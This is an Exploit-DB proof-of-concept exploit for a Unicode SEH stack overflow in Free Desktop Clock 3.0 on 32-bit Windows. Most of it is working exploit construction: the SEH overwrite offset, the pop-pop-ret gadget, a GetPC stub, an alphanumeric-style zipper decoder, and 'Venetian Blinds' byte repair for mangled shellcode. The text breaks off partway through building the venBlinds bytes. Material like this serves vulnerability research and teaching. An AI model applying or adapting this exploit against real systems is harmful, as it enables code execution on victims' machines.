Exploit-DB #48314
Description: Free Desktop Clock x86 Venetian Blinds Zipper 3.0 - Unicode Stack Overflow (SEH)
Type: local
Platform: windows_x86
Date: 2020-04-13
Author: boku

Exploit:
# Exploit Title: Free Desktop Clock x86 Venetian Blinds Zipper 3.0 - Unicode Stack Overflow (SEH)
# Exploit Author: Bobby Cooke
# Date: 2020-04-11
# Vendor: Drive Software Company
# Vendor Site: http://www.drive-software.com
# Software Download: http://www.drive-software.com/download/freeclock.exe
# Tested On: Windows 10 - Pro 1909 (x86) & Home 1909 (x86)
# - Does not work on x64 version
# Version: Free Desktop Clock 3.0
# Recreate: Install & Open > Time Zones > 'Enter display name' textbox > paste buffer

############################### CRASH INFO ###############################
# [!] Access violation
#   042D15E7        8908       mov [eax], ecx  ; FreeDesk.00440044
# SEH chain of main thread
#   Address    SE handler
#   0014EE24   FreeDesk.00410041 <- Structured Exception Handler Overwrite
#   00410041   74737953
#   69620C00   *** CORRUPT ENTRY ***
############################### CRASH INFO ###############################

File    = 'poc.txt'

######################### EXPLOIT ENVIRONMENT INFO #########################
#badChars  = '\x00\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e'
#badChars += '\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f'
#goodChars = '\x81\x8D\x8F\x90\x9D' (within 0x80-0x9f)

# Base       | Rebase | SafeSEH | ASLR  | NXCompat | Modulename
# 0x00400000 | False  | False   | False |  False   | [FreeDesktopClock.exe] 
# 0x042b0000 | True   | False   | False |  False   | [Clock.dll] 
######################### EXPLOIT ENVIRONMENT INFO #########################

os_nSEH = '\x41'*(457) # Offset to nSEH Overwrite
nSEH    = '\xeb\x05'   # jmp short +2
SEH     = '\xeb\x43'   # 0x004300eb: pop esi# pop ebx# ret [FreeDesktopClock.exe] 
# nSEH & SEH translated opcodes after Pop-Pop-Ret
#   EB 00                   jmp short +2
#   05 00EB0043             add eax, 4300EB00

# GetPC to decode our decoder using Venetian Blinds technique
getPC   = '\x73'   # add [ebx], dh   # nop | [EBX] = writable memory 
getPC  += '\x61'   # popad           # [ESP] = &Payload
getPC  += '\x72'   # add [edx], dh   # realigns execution for 1 byte opcodes

ebx2eax  = '\x58'  # pop eax         # EAX = &Payload
ebx2eax += '\x72'  # add [edx], dh

# Use Venetian Blinds technique to fix our mangled decoder
# + Using the Venetian Blinds Technique costs 14 bytes to fill 1 0x00 with 1 legit shellcode byte. 
#   
# Ajust EAX to &Decoder
getDecoder  = '\x05\x13\x11' # add eax, 0x11001300 # EAX + 512-bytes
getDecoder += '\x72'         # add [edx], dh
getDecoder += '\x2D\x11\x11' # sub eax, 0x11001100 # EAX = &Decoder
getDecoder += '\x72'         # add [edx], dh
getDecoder += '\x50'         # push eax            # [ESP] = &Decoder
getDecoder += '\x72'         # add [edx], dh

############################# ZIPPER DECODER ###############################
# Set EAX = First non-null byte of shellcode
# init:
# 1     |   50          |  push eax     # EAX = &Shellcode
# 2     |   5F          |  pop edi      # EDI = Decoder Destination Base Address
# 3     |   47          |  inc edi      # First 0x00 byte of shellcode
# 4:5   |   33D2        |  xor edx, edx
# 6:7   |   33C9        |  xor ecx, ecx
# 8:11  |   66:B9 1004  |  mov cx, 410  # ECX = Loop Counter
# decodeLoop:
# 12:13 |   33DB        |  xor ebx, ebx
# 14    |   42          |  inc edx       # EDX+EAX = &SourceShellcodeByte 
# 15    |   42          |  inc edx       # increment to next non-null byte
# 16:17 |   32DB        |  xor bl, bl    # clear BL to hold next shellcode byte
# 18:20 |   021C10      |  add bl, [eax+edx] # BL = SourceShellcodeByte
# 21:22 |   203F        |  and [edi], bh # [EDI] = SC-byte, clear with: AND 0x00
# 23:24 |   301F        |  xor [edi], bl # Write next byte of shellcode
# 25    |   47          |  inc edi
# 26    |   49          |  dec ecx
# 27:28 |   74 02       |  je short jmp2code
# 29:30 |   ^ EB ED     |  jmp short decodeLoop
# jmp2code:   
# 31    |   50          |  push eax
# 32    |   C3          |  ret
################################################3###########################

#DecoderHex  = '505F4733D233C966B9100433DB424232DB021C10203F301F47497402EBED50C3' 
firstHalf   = '\x50\x47\xD2\xC9\xB9\x04\xDB\x42\xDB\x1C\x20\x30\x47\x74\xEB\x50' 
#venBldHalf = '5F 33 33 66 10 33 42 32 02 10 3F 1F 49 02 ED C3' 
#               2  4  6  8 10 12 14 16 18 20 22 24 26 28 30 32 

# Note: These nop unicode instructions are actually [reg+0x00] not [reg]
# The [reg] version (0032) is 2 bytes. The [reg+0x00] version (007200) is 3 bytes 
# Use the 3 byte version for Venetian Blinds alignment
    # Example:
    #    nasm > add [edx], dh
    #   00000000  0032              add [edx],dh
    #   nasm > add [edx+00], dh
    #   00000000  0032              add [edx],dh
    #   nasm > add [edx+01], dh
    #   00000000  007201            add [edx+0x1],dh
    # + This happens when typing in ASM commands into msf-nasm_shell and immunity

## 2nd byte - \x00 => \x5F
venBlinds   = '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\xC6\x5F'     #   mov byte [eax], 0x50
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points to the next '\x00'
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
## 4th byte - \x00 => \x33
venBlinds  += '\xC6\x33'     #   mov byte [eax], 0x33
venBlinds  += '\x72'         #   add [edx], dh     // nop to realign opcode execution
venBlinds  += '\x40'         #   inc eax           // now eax points shellcode byte
venBlinds  += '\x72'         #   add [edx], dh     // nop to real